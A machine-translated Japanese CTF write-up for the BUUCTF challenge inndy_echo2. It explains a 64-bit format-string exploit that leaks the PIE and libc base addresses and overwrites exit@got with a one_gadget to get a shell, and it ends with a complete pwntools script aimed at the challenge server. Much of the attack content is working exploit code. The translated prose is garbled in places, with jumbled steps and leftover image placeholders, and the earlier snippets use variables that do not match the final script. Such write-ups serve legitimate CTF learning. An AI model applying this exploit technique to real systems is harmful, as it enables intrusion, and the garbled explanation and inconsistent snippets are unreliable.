[BUUCTF] PWN-inndy_echo2(PIE + 64位fmt)

inndy_echo2

別館

ステップ

  1. 定期検査、64ビットプログラム、nxおよびpie対応
    ここに画像の説明を挿入します
  2. ローカルで試して、一般的な状況を確認してください。推測はエコーに似ています。
    ここに画像の説明を挿入します
  3. 追加のPIE64
    ここに画像の説明を挿入します
    ビット形式の文字列の脆弱性が開かれることを除いて、32ビットエコーと同じコードである64ビットidaがロードされます。32ビットとはかなり異なります。「00」の切り捨てに注意してください。 1ステップで32ビットとして変更される場合、一度に2バイトしか変更できません。よくわからない場合は、まずこの記事を読んでください
  4. まず、PIEの
    場合、プログラムのベースアドレスをリークする方法を最初に見つける必要があります。エコー関数が実行されると、エコースタックフレームの前の要素が関数のリターンアドレスを格納してメインに戻るため、スタック内のリターンアドレスをすること
    。それを見つける
    調整するための手順をプログラムのベースアドレスをとのlibc
    gdbのエコーecho2
    メインB
    rは
    、入力時点までNI保つ
    入力時点でプログラムのオフセットをチェックしていることを確認してください。オフセットは6です。
    ここに画像の説明を挿入します
    この時点で、スタック上のパラメータがロードされています。スタック上の要素を
    ここに画像の説明を挿入します
    確認してください。パラメータがスタックに直接格納されており、レジスタが使用されていないことがわかります。したがって、でマークされたオフセットをカウントします。上の図main+74は41とlibc_start_main+24043であるため、プログラムのベースアドレスとlibcのベースアドレスが取得されます。
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9      #0x9b9是开启了pie的main函数地址
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
  1. ここで、fgets関数を使用して、libc
    が以前に移動されたときに見つかったオフセットが6であることをリークします。このオフセットを使用してfgets @ gotをリークし、「00」の切り捨てに注意してください。ここでは、
    p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))8 *を使用して変更しました。aは「00」を埋めるために使用されます
fgets_got_addr = elf_base + elf.got["fgets"]                             
exit_got = elf_base + elf.got["exit"]                                    
                                                                         
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))                    
p.recvuntil("stop")                                                     
fgets_addr = u64(sh.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)           
libc = LibcSearcher('fgets', fgets_addr)                                         

一致するlibcが2.23-64であることを確認し、buuでダウンロードしてください
ここに画像の説明を挿入します

  1. プログラムとlibcのベースアドレスを使用すると、PIEをバイパスでき、libcバージョンが使用可能になり、取得したテーブルを変更してみることができます。最初はprintf @ gotをsystemに変更するようなものでしたが、実際の操作中に問題が発生しました。他のマスターのwpが簡潔すぎるのを見て、理解できなかったので、出口をに変更しました。他のマスターのwpに基づくone_gadget。
    ここに画像の説明を挿入します
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base

one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff

payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_addr)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_addr+2)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_addr+4)
p.sendline(payload)
p.recv()
sleep(0.5)

最後に、exitと入力してone_gadgetを呼び出し、シェルを取得します

完全な経験

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p=remote('node3.buuoj.cn',25416)
#p=process('./echo2')
elf=ELF('./echo2')

p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9      
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))

#fgets_got_addr = elf_base + elf.got["fgets"]                                                                                                                                     
#p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))                    
#p.recvuntil("stop")                                                     
#fgets_addr = u64(p.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
#print hex(fgets_addr)  
#libc = LibcSearcher('fgets', fgets_addr) 
#print hex(libc.dump('fgets')) 
                 
libc=ELF('./libc-2.23-64.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']

exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base

one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff

payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_got)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_got+2)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_got+4)
p.sendline(payload)
p.recv()
sleep(0.5)

p.sendline('exit')
p.interactive()    

ここに画像の説明を挿入します

常wp:https://www.cjovi.icu/WP/buu-inndy_echo2-wp.html

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/113512748